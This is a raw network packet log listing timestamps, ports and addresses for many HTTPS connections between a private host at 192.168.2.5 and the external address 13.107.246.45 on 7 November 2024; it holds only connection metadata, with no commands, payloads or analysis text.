Nov 7, 2024 23:48:06.766504049 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.766530991 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.766705990 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.766824961 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.766856909 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.766877890 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.766904116 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.773768902 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.773768902 CET	49971	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.773787975 CET	443	49971	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.773798943 CET	443	49971	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.778877020 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.778877020 CET	49969	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.778883934 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.778887987 CET	443	49969	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.788391113 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.788402081 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.788414001 CET	49967	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.788419008 CET	443	49967	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.788537979 CET	49970	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.788549900 CET	443	49970	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.788558960 CET	49970	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.788563967 CET	443	49970	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.796164989 CET	49972	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.796184063 CET	443	49972	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.796257019 CET	49972	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.796571970 CET	49973	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.796628952 CET	443	49973	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.796688080 CET	49973	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.798516035 CET	49972	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.798527002 CET	443	49972	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.799141884 CET	49974	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.799151897 CET	443	49974	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.799201965 CET	49974	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.799343109 CET	49974	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.799350977 CET	443	49974	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.799437046 CET	49973	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.799453020 CET	443	49973	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.800510883 CET	49975	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.800520897 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.800580025 CET	49975	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.800966978 CET	49975	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.800980091 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.802531004 CET	49976	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.802561045 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:06.802622080 CET	49976	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.803908110 CET	49976	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:06.803920984 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.528841019 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.529881954 CET	443	49973	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.532671928 CET	49975	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.532689095 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.534254074 CET	49975	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.534254074 CET	49973	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.534260988 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.534287930 CET	443	49973	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.537035942 CET	443	49972	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.537069082 CET	49973	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.537074089 CET	443	49973	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.537976980 CET	49972	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.537992954 CET	443	49972	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.539297104 CET	49972	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.539302111 CET	443	49972	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.543369055 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.545018911 CET	443	49974	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.545128107 CET	49976	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.545142889 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.546665907 CET	49976	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.546669960 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.547194958 CET	49974	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.547207117 CET	443	49974	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.549801111 CET	49974	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.549806118 CET	443	49974	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.659615993 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.659640074 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.659673929 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.659707069 CET	49975	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.659796000 CET	49975	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.661997080 CET	443	49973	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.662046909 CET	443	49973	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.662499905 CET	49973	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.672935009 CET	443	49972	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.673029900 CET	443	49972	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.673114061 CET	49972	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.674288988 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.674305916 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.674344063 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.674374104 CET	49976	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.674513102 CET	49976	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.676543951 CET	443	49974	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.676616907 CET	443	49974	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.676748991 CET	49974	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.681189060 CET	49975	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.681200981 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.681272030 CET	49975	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.681278944 CET	443	49975	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.683120966 CET	49974	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.683134079 CET	443	49974	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.683226109 CET	49974	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.683233976 CET	443	49974	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.684607029 CET	49973	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.684607029 CET	49973	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.684613943 CET	443	49973	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.684624910 CET	443	49973	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.686122894 CET	49972	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.686132908 CET	443	49972	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.686167955 CET	49972	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.686172009 CET	443	49972	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.688472986 CET	49976	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.688472986 CET	49976	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.688483953 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.688492060 CET	443	49976	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.697082043 CET	49977	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.697107077 CET	443	49977	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.697259903 CET	49977	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.697987080 CET	49977	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.697998047 CET	443	49977	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.701561928 CET	49978	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.701561928 CET	49979	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.701570034 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.701572895 CET	443	49978	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.701643944 CET	49979	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.701694965 CET	49978	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.701812029 CET	49979	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.701819897 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.703638077 CET	49980	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.703658104 CET	443	49980	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.704050064 CET	49980	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.704418898 CET	49978	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.704430103 CET	443	49978	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.704701900 CET	49980	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.704715967 CET	443	49980	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.707904100 CET	49981	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.707945108 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:07.710787058 CET	49981	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.710963011 CET	49981	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:07.710978985 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.421283960 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.421719074 CET	49979	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.421740055 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.422166109 CET	49979	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.422171116 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.423410892 CET	443	49977	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.423717976 CET	49977	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.423731089 CET	443	49977	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.424236059 CET	49977	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.424241066 CET	443	49977	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.429872036 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.430187941 CET	49981	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.430214882 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.430560112 CET	49981	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.430565119 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.440396070 CET	443	49980	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.440655947 CET	443	49978	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.441140890 CET	49980	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.441160917 CET	443	49980	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.442291021 CET	49980	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.442295074 CET	443	49980	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.442737103 CET	49978	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.442749023 CET	443	49978	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.443249941 CET	49978	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.443253994 CET	443	49978	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.551039934 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.551060915 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.551099062 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.551116943 CET	49979	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.551160097 CET	49979	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.551371098 CET	49979	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.551388979 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.551398039 CET	49979	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.551403046 CET	443	49979	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.554162979 CET	49982	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.554197073 CET	443	49982	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.554316998 CET	49982	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.554508924 CET	49982	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.554517984 CET	443	49982	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.555350065 CET	443	49977	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.555397987 CET	443	49977	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.555453062 CET	49977	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.555603981 CET	49977	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.555608034 CET	443	49977	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.555615902 CET	49977	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.555620909 CET	443	49977	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.557660103 CET	49983	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.557702065 CET	443	49983	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.557809114 CET	49983	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.557939053 CET	49983	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.557954073 CET	443	49983	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.558358908 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.558378935 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.558407068 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.558427095 CET	49981	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.558460951 CET	49981	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.558602095 CET	49981	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.558612108 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.558623075 CET	49981	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.558626890 CET	443	49981	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.561124086 CET	49984	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.561131954 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.561307907 CET	49984	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.561455011 CET	49984	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.561466932 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.572380066 CET	443	49980	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.572593927 CET	443	49980	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.572652102 CET	49980	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.572707891 CET	49980	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.572707891 CET	49980	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.572717905 CET	443	49980	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.572721958 CET	443	49980	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.573234081 CET	443	49978	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.573765039 CET	443	49978	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.573898077 CET	49978	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.573921919 CET	49978	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.573936939 CET	443	49978	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.573945999 CET	49978	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.573950052 CET	443	49978	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.574537992 CET	49985	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.574548960 CET	443	49985	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.574608088 CET	49985	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.574762106 CET	49985	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.574768066 CET	443	49985	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.576204062 CET	49986	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.576212883 CET	443	49986	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:08.576442957 CET	49986	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.576661110 CET	49986	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:08.576673031 CET	443	49986	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.277623892 CET	443	49982	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.278120995 CET	49982	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.278136969 CET	443	49982	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.278645039 CET	49982	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.278649092 CET	443	49982	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.279366970 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.279670000 CET	49984	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.279692888 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.280039072 CET	49984	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.280045033 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.286464930 CET	443	49983	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.287787914 CET	49983	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.287811995 CET	443	49983	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.288230896 CET	49983	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.288235903 CET	443	49983	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.293556929 CET	443	49985	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.293889999 CET	49985	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.293905973 CET	443	49985	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.294275999 CET	49985	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.294282913 CET	443	49985	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.304395914 CET	443	49986	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.304725885 CET	49986	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.304758072 CET	443	49986	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.305672884 CET	49986	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.305677891 CET	443	49986	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.407135963 CET	443	49982	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.407185078 CET	443	49982	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.407413006 CET	49982	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.407608986 CET	49982	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.407624960 CET	443	49982	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.407634974 CET	49982	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.407639980 CET	443	49982	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.407793045 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.407810926 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.407840014 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.407907963 CET	49984	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.408787012 CET	49984	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.408807993 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.408818960 CET	49984	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.408824921 CET	443	49984	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.413050890 CET	49987	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.413074017 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.413331032 CET	49987	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.413712978 CET	49987	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.413724899 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.414360046 CET	49988	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.414392948 CET	443	49988	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.414599895 CET	49988	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.414752007 CET	49988	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.414763927 CET	443	49988	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.419862032 CET	443	49983	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.420161963 CET	443	49983	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.420455933 CET	49983	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.420545101 CET	49983	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.420563936 CET	443	49983	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.420574903 CET	49983	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.420579910 CET	443	49983	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.420877934 CET	443	49985	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.421081066 CET	443	49985	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.421139002 CET	49985	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.421829939 CET	49985	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.421834946 CET	443	49985	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.422038078 CET	49985	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.422041893 CET	443	49985	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.424285889 CET	49989	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.424316883 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.424499035 CET	49989	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.424567938 CET	49989	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.424587965 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.424783945 CET	49990	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.424793005 CET	443	49990	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.424846888 CET	49990	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.424987078 CET	49990	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.424997091 CET	443	49990	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.433546066 CET	443	49986	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.433676004 CET	443	49986	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.433940887 CET	49986	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.433940887 CET	49986	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.433974981 CET	49986	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.433988094 CET	443	49986	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.435837984 CET	49991	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.435847044 CET	443	49991	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:09.435928106 CET	49991	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.436132908 CET	49991	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:09.436142921 CET	443	49991	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.151748896 CET	443	49988	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.152585983 CET	49988	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.152615070 CET	443	49988	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.153021097 CET	49988	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.153026104 CET	443	49988	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.154762030 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.155683041 CET	49987	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.155704021 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.156151056 CET	49987	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.156157017 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.164252043 CET	443	49990	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.164716959 CET	49990	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.164730072 CET	443	49990	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.165286064 CET	49990	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.165290117 CET	443	49990	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.175250053 CET	443	49991	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.175708055 CET	49991	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.175728083 CET	443	49991	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.177190065 CET	49991	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.177195072 CET	443	49991	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.194827080 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.201529980 CET	49989	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.201543093 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.202517986 CET	49989	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.202522039 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.281152964 CET	443	49988	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.281208992 CET	443	49988	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.281341076 CET	49988	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.281610012 CET	49988	443	192.168.2.5	13.107.246.45
